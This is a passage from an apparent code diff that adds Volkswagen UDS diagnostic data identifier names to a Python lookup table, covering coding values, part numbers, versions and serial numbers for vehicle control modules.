"LED_headlamp_powermodule_2_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x362c] = "Multimedia_operating_unit_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x362e] = "Data_medium_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x362f] = "Analog_clock_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3630] = "Relative_Air_Humidity_Interior_Sender_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3631] = "Sensor_controlled_power_rear_lid_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3632] = "Battery_monitoring_control_module_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3633] = "Air_conditioning_compressor_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3634] = "Control_module_for_auxiliary_blower_motors_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3635] = "High_beam_powermodule_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3636] = "High_beam_powermodule_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3637] = "Coolant_heater_Coding_Values" +UDS_RDBI.dataIdentifiers[0x3640] = "Electrically_adjustable_steering_column_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3641] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3642] = "Rear_spoiler_adjustment_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3643] = "Roof_blind_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3644] = "Motor_for_wind_deflector_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3645] = "Voltage_stabilizer_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3646] = "Switch_module_for_driver_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3647] = "Switch_module_for_front_passenger_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3648] = "Switch_module_for_rear_seat_driver_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3649] = "Switch_module_for_rear_seat_front_passenger_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x364a] = "Switch_module_2_for_driver_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x364b] = "Switch_module_2_for_front_passenger_seat_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x364c] = "Switch_module_2_for_rear_seat_front_passenger_side_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x364d] = "Compact_disc_database_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3659] = "LED_headlamp_powermodule_2_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x365a] = "LED_headlamp_powermodule_2_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x365c] = "Multimedia_operating_unit_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x365e] = "Data_medium_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x365f] = "Analog_clock_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3660] = "Relative_Air_Humidity_Interior_Sender_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3661] = "Sensor_controlled_power_rear_lid_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3662] = "Battery_monitoring_control_module_2_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3663] = "Air_conditioning_compressor_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3664] = "Control_module_for_auxiliary_blower_motors_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3665] = "High_beam_powermodule_left_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3666] = "High_beam_powermodule_right_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3667] = "Coolant_heater_Spare_Part_Number" +UDS_RDBI.dataIdentifiers[0x3670] = "Electrically_adjustable_steering_column_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3671] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3672] = "Rear_spoiler_adjustment_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3673] = "Roof_blind_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3674] = "Motor_for_wind_deflector_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3675] = "Voltage_stabilizer_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3676] = "Switch_module_for_driver_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3677] = "Switch_module_for_front_passenger_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3678] = "Switch_module_for_rear_seat_driver_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3679] = "Switch_module_for_rear_seat_front_passenger_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x367a] = "Switch_module_2_for_driver_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x367b] = "Switch_module_2_for_front_passenger_seat_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x367c] = "Switch_module_2_for_rear_seat_front_passenger_side_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x367d] = "Compact_disc_database_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3689] = "LED_headlamp_powermodule_2_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x368a] = "LED_headlamp_powermodule_2_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x368c] = "Multimedia_operating_unit_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x368e] = "Data_medium_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x368f] = "Analog_clock_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3690] = "Relative_Air_Humidity_Interior_Sender_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3691] = "Sensor_controlled_power_rear_lid_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3692] = "Battery_monitoring_control_module_2_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3693] = "Air_conditioning_compressor_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3694] = "Control_module_for_auxiliary_blower_motors_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3695] = "High_beam_powermodule_left_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3696] = "High_beam_powermodule_right_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x3697] = "Coolant_heater_Application_Software_Version_Number" +UDS_RDBI.dataIdentifiers[0x36a0] = "Electrically_adjustable_steering_column_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36a1] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36a2] = "Rear_spoiler_adjustment_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36a3] = "Roof_blind_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36a4] = "Motor_for_wind_deflector_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36a5] = "Voltage_stabilizer_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36a6] = "Switch_module_for_driver_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36a7] = "Switch_module_for_front_passenger_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36a8] = "Switch_module_for_rear_seat_driver_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36a9] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36aa] = "Switch_module_2_for_driver_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36ab] = "Switch_module_2_for_front_passenger_seat_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36ac] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36ad] = "Compact_disc_database_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36b9] = "LED_headlamp_powermodule_2_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36ba] = "LED_headlamp_powermodule_2_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36bc] = "Multimedia_operating_unit_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36be] = "Data_medium_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36bf] = "Analog_clock_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36c0] = "Relative_Air_Humidity_Interior_Sender_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36c1] = "Sensor_controlled_power_rear_lid_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36c2] = "Battery_monitoring_control_module_2_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36c3] = "Air_conditioning_compressor_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36c4] = "Control_module_for_auxiliary_blower_motors_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36c5] = "High_beam_powermodule_left_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36c6] = "High_beam_powermodule_right_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36c7] = "Coolant_heater_Hardware_Number" +UDS_RDBI.dataIdentifiers[0x36d0] = "Electrically_adjustable_steering_column_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36d1] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36d2] = "Rear_spoiler_adjustment_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36d3] = "Roof_blind_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36d4] = "Motor_for_wind_deflector_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36d5] = "Voltage_stabilizer_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36d6] = "Switch_module_for_driver_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36d7] = "Switch_module_for_front_passenger_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36d8] = "Switch_module_for_rear_seat_driver_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36d9] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36da] = "Switch_module_2_for_driver_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36db] = "Switch_module_2_for_front_passenger_seat_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36dc] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36dd] = "Compact_disc_database_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36e9] = "LED_headlamp_powermodule_2_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36ea] = "LED_headlamp_powermodule_2_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36ec] = "Multimedia_operating_unit_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36ee] = "Data_medium_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36ef] = "Analog_clock_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36f0] = "Relative_Air_Humidity_Interior_Sender_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36f1] = "Sensor_controlled_power_rear_lid_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36f2] = "Battery_monitoring_control_module_2_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36f3] = "Air_conditioning_compressor_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36f4] = "Control_module_for_auxiliary_blower_motors_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36f5] = "High_beam_powermodule_left_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36f6] = "High_beam_powermodule_right_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x36f7] = "Coolant_heater_Hardware_Version_Number" +UDS_RDBI.dataIdentifiers[0x3700] = "Electrically_adjustable_steering_column_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3701] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3702] = "Rear_spoiler_adjustment_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3703] = "Roof_blind_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3704] = "Motor_for_wind_deflector_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3705] = "Voltage_stabilizer_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3706] = "Switch_module_for_driver_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3707] = "Switch_module_for_front_passenger_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3708] = "Switch_module_for_rear_seat_driver_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3709] = "Switch_module_for_rear_seat_front_passenger_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x370a] = "Switch_module_2_for_driver_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x370b] = "Switch_module_2_for_front_passenger_seat_Serial_Number" +UDS_RDBI.dataIdentifiers[0x370c] = "Switch_module_2_for_rear_seat_front_passenger_side_Serial_Number" +UDS_RDBI.dataIdentifiers[0x370d] = "Compact_disc_database_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3719] = "LED_headlamp_powermodule_2_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x371a] = "LED_headlamp_powermodule_2_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x371c] = "Multimedia_operating_unit_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x371e] = "Data_medium_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x371f] = "Analog_clock_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3720] = "Relative_Air_Humidity_Interior_Sender_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3721] = "Sensor_controlled_power_rear_lid_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3722] = "Battery_monitoring_control_module_2_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3723] = "Air_conditioning_compressor_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3724] = "Control_module_for_auxiliary_blower_motors_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3725] = "High_beam_powermodule_left_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3726] = "High_beam_powermodule_right_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3727] = "Coolant_heater_Serial_Number" +UDS_RDBI.dataIdentifiers[0x3730] = "Electrically_adjustable_steering_column_System_Name" +UDS_RDBI.dataIdentifiers[0x3731] = "Relative_humidity_sensor_in_fresh_air_intake_duct_System_Name" +UDS_RDBI.dataIdentifiers[0x3732] = "Rear_spoiler_adjustment_System_Name" +UDS_RDBI.dataIdentifiers[0x3733] = "Roof_blind_2_System_Name" +UDS_RDBI.dataIdentifiers[0x3734] = "Motor_for_wind_deflector_System_Name" +UDS_RDBI.dataIdentifiers[0x3735] = "Voltage_stabilizer_System_Name" +UDS_RDBI.dataIdentifiers[0x3736] = "Switch_module_for_driver_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x3737] = "Switch_module_for_front_passenger_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x3738] = "Switch_module_for_rear_seat_driver_side_System_Name" +UDS_RDBI.dataIdentifiers[0x3739] = "Switch_module_for_rear_seat_front_passenger_side_System_Name" +UDS_RDBI.dataIdentifiers[0x373a] = "Switch_module_2_for_driver_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x373b] = "Switch_module_2_for_front_passenger_seat_System_Name" +UDS_RDBI.dataIdentifiers[0x373c] = "Switch_module_2_for_rear_seat_front_passenger_side_System_Name" +UDS_RDBI.dataIdentifiers[0x373d] = "Compact_disc_database_System_Name" +UDS_RDBI.dataIdentifiers[0x3749] = "LED_headlamp_powermodule_2_left_System_Name" +UDS_RDBI.dataIdentifiers[0x374a] = "LED_headlamp_powermodule_2_right_System_Name" +UDS_RDBI.dataIdentifiers[0x374c] = "Multimedia_operating_unit_2_System_Name" +UDS_RDBI.dataIdentifiers[0x374e] = "Data_medium_2_System_Name" +UDS_RDBI.dataIdentifiers[0x374f] = "Analog_clock_System_Name" +UDS_RDBI.dataIdentifiers[0x3750] = "Relative_Air_Humidity_Interior_Sender_System_Name" +UDS_RDBI.dataIdentifiers[0x3751] = "Sensor_controlled_power_rear_lid_System_Name" +UDS_RDBI.dataIdentifiers[0x3752] = "Battery_monitoring_control_module_2_System_Name" +UDS_RDBI.dataIdentifiers[0x3753] = "Air_conditioning_compressor_System_Name" +UDS_RDBI.dataIdentifiers[0x3754] = "Control_module_for_auxiliary_blower_motors_System_Name" +UDS_RDBI.dataIdentifiers[0x3755] = "High_beam_powermodule_left_System_Name" +UDS_RDBI.dataIdentifiers[0x3756] = "High_beam_powermodule_right_System_Name" +UDS_RDBI.dataIdentifiers[0x3757] = "Coolant_heater_System_Name" +UDS_RDBI.dataIdentifiers[0x37a0] = "Electrically_adjustable_steering_column_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37a1] = "Relative_humidity_sensor_in_fresh_air_intake_duct_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37a2] = "Rear_spoiler_adjustment_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37a3] = "Roof_blind_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37a4] = "Motor_for_wind_deflector_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37a5] = "Voltage_stabilizer_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37a6] = "Switch_module_for_driver_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37a7] = "Switch_module_for_front_passenger_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37a8] = "Switch_module_for_rear_seat_driver_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37a9] = "Switch_module_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37aa] = "Switch_module_2_for_driver_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37ab] = "Switch_module_2_for_front_passenger_seat_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37ac] = "Switch_module_2_for_rear_seat_front_passenger_side_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37ad] = "Compact_disc_database_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37b9] = "LED_headlamp_powermodule_2_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37ba] = "LED_headlamp_powermodule_2_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37bc] = "Multimedia_operating_unit_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37be] = "Data_medium_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37bf] = "Analog_clock_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37c0] = "Relative_Air_Humidity_Interior_Sender_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37c1] = "Sensor_controlled_power_rear_lid_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37c2] = "Battery_monitoring_control_module_2_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37c3] = "Air_conditioning_compressor_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37c4] = "Control_module_for_auxiliary_blower_motors_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37c5] = "High_beam_powermodule_left_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37c6] = "High_beam_powermodule_right_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x37c7] = "Coolant_heater_VW_Slave_FAZIT_string" +UDS_RDBI.dataIdentifiers[0x5867] = "In_use_monitor_performance_ratio_1" +UDS_RDBI.dataIdentifiers[0x5868] = "In_use_monitor_performance_ratio_2" +UDS_RDBI.dataIdentifiers[0x5869] = "In_use_monitor_performance_ratio_3" +UDS_RDBI.dataIdentifiers[0x6001] = "Control_unit_for_wiper_motor_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6002] = "Rain_light_recognition_sensor_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6003] = "Light_switch_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6004] = "Garage_door_opener_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6005] = "Garage_door_opener_operating_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6006] = "Ignition_key_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6007] = "Left_front_seat_ventilation_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6008] = "Right_front_seat_ventilation_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6009] = "Left_rear_seat_ventilation_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x600a] = "LED_headlamp_powermodule_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x600b] = "LED_headlamp_powermodule_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x600c] = "LED_headlamp_powermodule_2_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x600d] = "LED_headlamp_powermodule_2_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x600e] = "Operating_and_display_unit_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x600f] = "Operating_and_display_unit_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6010] = "Right_rear_seat_ventilation_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6011] = "Data_medium_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6012] = "Drivers_door_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6013] = "Front_passengers_door_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6014] = "Left_headlamp_power_output_stage_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6015] = "Right_headlamp_power_output_stage_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6016] = "Sensor_for_anti_theft_alarm_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6017] = "Rear_lid_control_module_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6018] = "Alarm_horn_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6019] = "Automatic_day_night_interior_mirror_Coding_Values" +UDS_RDBI.dataIdentifiers[0x601a] = "Remote_control_auxiliary_heater_Coding_Values" +UDS_RDBI.dataIdentifiers[0x601b] = "Fresh_air_blower_front_Coding_Values" +UDS_RDBI.dataIdentifiers[0x601c] = "Fresh_air_blower_back_Coding_Values" +UDS_RDBI.dataIdentifiers[0x601d] = "Alternator_Coding_Values" +UDS_RDBI.dataIdentifiers[0x601e] = "Interior_light_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x601f] = "Refrigerant_pressure_and_temperature_sender_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6020] = "Sun_roof_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6021] = "Steering_column_lock_actuator_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6022] = "Anti_theft_tilt_system_control_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6023] = "Tire_pressure_monitor_antenna_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6024] = "Heated_windshield_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6025] = "Rear_light_left_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6026] = "Ceiling_light_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6027] = "Left_front_massage_seat_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6028] = "Right_front_massage_seat_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6029] = "Control_module_for_auxiliary_air_heater_Coding_Values" +UDS_RDBI.dataIdentifiers[0x602a] = "Belt Pretensioner left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x602b] = "Belt Pretensioner right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x602c] = "Occupant Detection_Coding_Values" +UDS_RDBI.dataIdentifiers[0x602d] = "Selector_lever_Coding_Values" +UDS_RDBI.dataIdentifiers[0x602e] = "NOx_sensor_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x602f] = "NOx_sensor_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6030] = "Ioniser_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6031] = "Multi_function_steering_wheel_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6032] = "Left_rear_door_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6033] = "Right_rear_door_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6034] = "Left_rear_massage_seat_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6035] = "Right_rear_massage_seat_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6036] = "Display_unit_1_for_multimedia_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6037] = "Battery_monitoring_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6038] = "Roof_blind_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6039] = "Sun_roof_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x603a] = "Steering_angle_sender_Coding_Values" +UDS_RDBI.dataIdentifiers[0x603b] = "Lane_change_assistant 2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x603c] = "Pitch_rate_sender_Coding_Values" +UDS_RDBI.dataIdentifiers[0x603d] = "ESP_sensor_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x603e] = "Electronic_ignition_lock_Coding_Values" +UDS_RDBI.dataIdentifiers[0x603f] = "Air_quality_sensor_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6040] = "Display_unit_2_for_multimedia_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6041] = "Telephone_handset_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6042] = "Chip_card_reader_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6043] = "Traffic_data_aerial_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6044] = "Hands_free_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6045] = "Telephone_handset_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6046] = "Display_unit_front_for_multimedia_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6047] = "Multimedia_operating_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6048] = "Digital_sound_system_control_module_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6049] = "Electrically_adjustable_steering_column_Coding_Values" +UDS_RDBI.dataIdentifiers[0x604a] = "Interface_for_external_multimedia_unit_Coding_Values" +UDS_RDBI.dataIdentifiers[0x604b] = "Relative_Air_Humidity_Interior_Sender_Coding_Values" +UDS_RDBI.dataIdentifiers[0x604c] = "Drivers_door_rear_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x604d] = "Passengers_rear_door_control_module_Coding_Values" +UDS_RDBI.dataIdentifiers[0x604e] = "Sensor_controlled_power_rear_lid_Coding_Values" +UDS_RDBI.dataIdentifiers[0x604f] = "Camera_for_night_vision_system_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6050] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6051] = "Rear_spoiler_adjustment_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6052] = "Roof_blind_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6053] = "Motor_for_wind_deflector_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6054] = "Voltage_stabilizer_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6055] = "Switch_module_for_driver_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6056] = "Switch_module_for_front_passenger_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6057] = "Switch_module_for_rear_seat_driver_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6058] = "Switch_module_for_rear_seat_front_passenger_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6059] = "Switch_module_2_for_driver_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x605a] = "Battery_charger_unit_1_Coding_Values" +UDS_RDBI.dataIdentifiers[0x605b] = "Battery_charger_unit_2_Coding_Values" +UDS_RDBI.dataIdentifiers[0x605c] = "Battery_charger_unit_3_Coding_Values" +UDS_RDBI.dataIdentifiers[0x605d] = "Air_conditioning_compressor_Coding_Values" +UDS_RDBI.dataIdentifiers[0x605e] = "Neck_heating_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x605f] = "Neck_heating_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6060] = "Switch_module_2_for_front_passenger_seat_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6061] = "Switch_module_2_for_rear_seat_front_passenger_side_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6062] = "Compact_disc_database_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6063] = "Rear_climatronic_operating_and_display_unit_left_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6064] = "Rear_climatronic_operating_and_display_unit_right_Coding_Values" +UDS_RDBI.dataIdentifiers[0x6065] = 